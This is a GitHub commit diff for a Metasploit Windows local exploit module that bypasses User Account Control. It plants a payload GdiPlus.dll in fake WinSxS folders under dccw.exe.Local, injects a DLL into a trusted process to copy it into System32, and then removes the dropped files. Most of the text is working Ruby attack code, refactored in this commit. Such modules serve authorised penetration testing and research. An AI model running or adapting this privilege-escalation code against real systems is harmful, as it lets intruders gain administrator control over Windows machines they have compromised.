Skip to content

Commit 23831e6

Browse files
committed
Upload requested changes
1 parent 6a3fc61 commit 23831e6

File tree

1 file changed

+101
-54
lines changed

1 file changed

+101
-54
lines changed

modules/exploits/windows/local/bypassuac_injection_winsxs.rb

Lines changed: 101 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -97,8 +97,8 @@ def exploit
9797
run_injection(pid, dll_path, file_paths)
9898
end
9999

100+
# Path to the bypassuac binary and architecture payload checking
100101
def bypass_dll_path
101-
# path to the bypassuac binary
102102
path = ::File.join(Msf::Config.data_directory, 'post')
103103

104104
sysarch = sysinfo['Architecture']
@@ -117,6 +117,7 @@ def bypass_dll_path
117117
end
118118
end
119119

120+
# Check if the compromised user matches some requirements
120121
def check_permissions!
121122
# Check if you are an admin
122123
vprint_status('Checking admin status...')
@@ -138,6 +139,7 @@ def check_permissions!
138139
end
139140
end
140141

142+
# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
141143
def run_injection(pid, dll_path, file_paths)
142144
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
143145
begin
@@ -184,7 +186,7 @@ def upload_payload_dll(payload_filepath, directoryNames)
184186
payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true})
185187
print_status('Uploading the Payload DLL to the filesystem...')
186188
begin
187-
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
189+
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
188190
write_file(dllPath, payload)
189191
rescue Rex::Post::Meterpreter::RequestError => e
190192
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
@@ -195,21 +197,23 @@ def upload_payload_dll(payload_filepath, directoryNames)
195197
end
196198
end
197199

200+
# Copy our DLL to all created folders, the first folder already have a copy of the DLL
198201
def copy_payload_dll(directoryNames, dllPath)
199-
for i in 1 .. directoryNames.size - 1
202+
1.step(directoryNames.size - 1, 1) do |i|
200203
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
201204
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
202205
end
203206
end
204207
end
205208

209+
# Check if the environment is vulnerable to the exploit
206210
def validate_environment!
207211
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
208212

209213
winver = sysinfo['OS']
210214

211215
case winver
212-
when /Windows (8|2008|2012|10)/
216+
when /Windows (8|10)/
213217
print_good("#{winver} may be vulnerable.")
214218
else
215219
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
@@ -235,9 +239,9 @@ def create_directories(payload_filepath, directoryNames)
235239
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
236240
end
237241

238-
for i in 0 .. directoryNames.size - 1
239-
if client.railgun.kernel32.CreateDirectoryA(directoryNames[i], nil)['return'] == 0
240-
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{directoryNames[i]}\"")
242+
directoryNames.each do |dirName|
243+
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
244+
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
241245
end
242246
end
243247
end
@@ -253,19 +257,23 @@ def get_directories(payload_filepath, targetedDirectories)
253257
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
254258
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
255259
end
256-
findFileData = hFile['lpFindFileData']
257260

258-
begin
261+
findFileData = hFile['lpFindFileData']
262+
moreFiles = true
263+
until moreFiles == false do
259264
fileAttributes = findFileData[0, 4].unpack('V').first
260265
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")
261266
if andOperation
262-
path = "#{payload_filepath}\\#{normalize_path(findFileData[fileNamePadding, fileNamePadding + maxPath])}"
267+
#Removes the remainder part composed of 'A' of the path and the last null character
268+
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0]
269+
path = "#{payload_filepath}\\#{normalizedData[0, normalizedData.length - 1]}"
263270
directoryNames.push(path)
264-
end
271+
end
265272

266-
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
267-
findFileData = findNextFile['lpFindFileData']
268-
end while findNextFile['return'] != false
273+
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
274+
moreFiles = findNextFile['return']
275+
findFileData = findNextFile['lpFindFileData']
276+
end
269277

270278
if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
271279
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
@@ -274,16 +282,7 @@ def get_directories(payload_filepath, targetedDirectories)
274282
directoryNames
275283
end
276284

277-
#Removes the remainder part composed of 'A' of the path
278-
def normalize_path(path)
279-
counter = 0
280-
while path[counter] != 'A' and path[counter + 1] != 'A' and path[counter + 2] != 'A' do
281-
counter = counter + 1
282-
end
283-
284-
path[0, counter + 1]
285-
end
286-
285+
# Store the necessary paths into a struct
287286
def get_file_paths(win_path, payload_filepath)
288287
paths = {}
289288
paths[:szElevDll] = 'dccw.exe.Local'
@@ -300,7 +299,7 @@ def get_file_paths(win_path, payload_filepath)
300299
# the dll needs to copy/execute etc.
301300
def create_struct(paths)
302301

303-
# write each path to the structure in the order they
302+
# Write each path to the structure in the order they
304303
# are defined in the bypass uac binary.
305304
struct = ''
306305
struct << fill_struct_path(paths[:szElevDir])
@@ -318,6 +317,7 @@ def fill_struct_path(path)
318317
path + "\x00" * (520 - path.length)
319318
end
320319

320+
# When a new session is obtained, it removes the dropped elements (files and folders)
321321
def on_new_session(session)
322322
if session.type == 'meterpreter'
323323
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
@@ -328,7 +328,6 @@ def on_new_session(session)
328328
# Remove all the created and dropped files and folders
329329
def remove_dropped_elements(session)
330330
droppedElements = []
331-
successfullyRemoved = true
332331

333332
env_vars = get_envs('TEMP', 'WINDIR')
334333
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
@@ -343,39 +342,88 @@ def remove_dropped_elements(session)
343342
directoryNames = get_directories(payload_filepath, targetedDirectories)
344343
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
345344

346-
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
347-
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
348-
for i in 0 .. directoryNames.size - 1
349-
directoryName = directoryNames[i].split("\\").last
345+
# Remove all dropped elements (files and folders)
346+
remove_dlls(session, directoryNames, file_paths, droppedElements)
347+
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
348+
remove_dot_local_folders(session, file_paths, droppedElements)
349+
350+
# Check if the removal was successful
351+
removal_checking(droppedElements)
352+
end
353+
354+
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
355+
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
356+
def remove_dlls(session, directoryNames, file_paths, droppedElements)
357+
directoryNames.each do |dirName|
358+
directoryName = dirName.split("\\").last
359+
360+
begin
361+
droppedElements.push("#{dirName}\\GdiPlus.dll")
362+
session.fs.file.rm("#{dirName}\\GdiPlus.dll")
363+
rescue ::Rex::Post::Meterpreter::RequestError => e
364+
vprint_error("Error => #{e.class} - #{e}")
365+
end
350366

351-
droppedElements.push("#{directoryNames[i]}\\GdiPlus.dll")
352-
session.fs.file.rm("#{directoryNames[i]}\\GdiPlus.dll") rescue nil
353-
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
354-
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll") rescue nil
367+
begin
368+
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
369+
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
370+
rescue ::Rex::Post::Meterpreter::RequestError => e
371+
vprint_error("Error => #{e.class} - #{e}")
372+
end
355373
end
374+
end
375+
376+
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
377+
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
378+
directoryNames.each do |dirName|
379+
directoryName = dirName.split("\\").last
380+
381+
begin
382+
droppedElements.push(dirName)
383+
session.fs.dir.rmdir(dirName)
384+
rescue ::Rex::Post::Meterpreter::RequestError => e
385+
vprint_error("Error => #{e.class} - #{e}")
386+
end
356387

357-
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
358-
for i in 0 .. directoryNames.size - 1
359-
directoryName = directoryNames[i].split("\\").last
388+
begin
389+
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
390+
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
391+
rescue ::Rex::Post::Meterpreter::RequestError => e
392+
vprint_error("Error => #{e.class} - #{e}")
393+
end
394+
end
395+
end
360396

361-
droppedElements.push(directoryNames[i])
362-
session.fs.dir.rmdir(directoryNames[i]) rescue nil
363-
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
364-
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}") rescue nil
397+
# Remove "C:\Windows\System32\dccw.exe.Local" folder
398+
def remove_dot_local_folders(session, file_paths, droppedElements)
399+
begin
400+
droppedElements.push(file_paths[:szTempDllPath])
401+
session.fs.dir.rmdir(file_paths[:szTempDllPath])
402+
rescue ::Rex::Post::Meterpreter::RequestError => e
403+
vprint_error("Error => #{e.class} - #{e}")
365404
end
366405

367-
# Remove "C:\Windows\System32\dccw.exe.Local" folder
368-
droppedElements.push(file_paths[:szTempDllPath])
369-
session.fs.dir.rmdir(file_paths[:szTempDllPath]) rescue nil
370-
droppedElements.push(file_paths[:szElevDllFull])
371-
session.fs.dir.rmdir(file_paths[:szElevDllFull]) rescue nil
372-
373-
# Check if have been successfully removed
374-
for i in 0 .. droppedElements.size - 1
375-
stat = session.fs.file.stat(droppedElements[i]) rescue nil
376-
if stat
377-
print_error("Unable to delete #{droppedElements[i]}!")
378-
successfullyRemoved = false
406+
begin
407+
droppedElements.push(file_paths[:szElevDllFull])
408+
session.fs.dir.rmdir(file_paths[:szElevDllFull])
409+
rescue ::Rex::Post::Meterpreter::RequestError => e
410+
vprint_error("Error => #{e.class} - #{e}")
411+
end
412+
end
413+
414+
# Check if have been successfully removed
415+
def removal_checking(droppedElements)
416+
successfullyRemoved = true
417+
418+
droppedElements.each do |element|
419+
begin
420+
stat = session.fs.file.stat(element)
421+
if stat
422+
print_error("Unable to delete #{element}!")
423+
successfullyRemoved = false
424+
end
425+
rescue ::Rex::Post::Meterpreter::RequestError => e
426+
vprint_error("Error => #{e.class} - #{e}")
379427
end
380428
end
381429

@@ -385,5 +433,4 @@ def remove_dropped_elements(session)
385433
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
386434
end
387435
end
388-
389436
end

0 commit comments

Comments
 (0)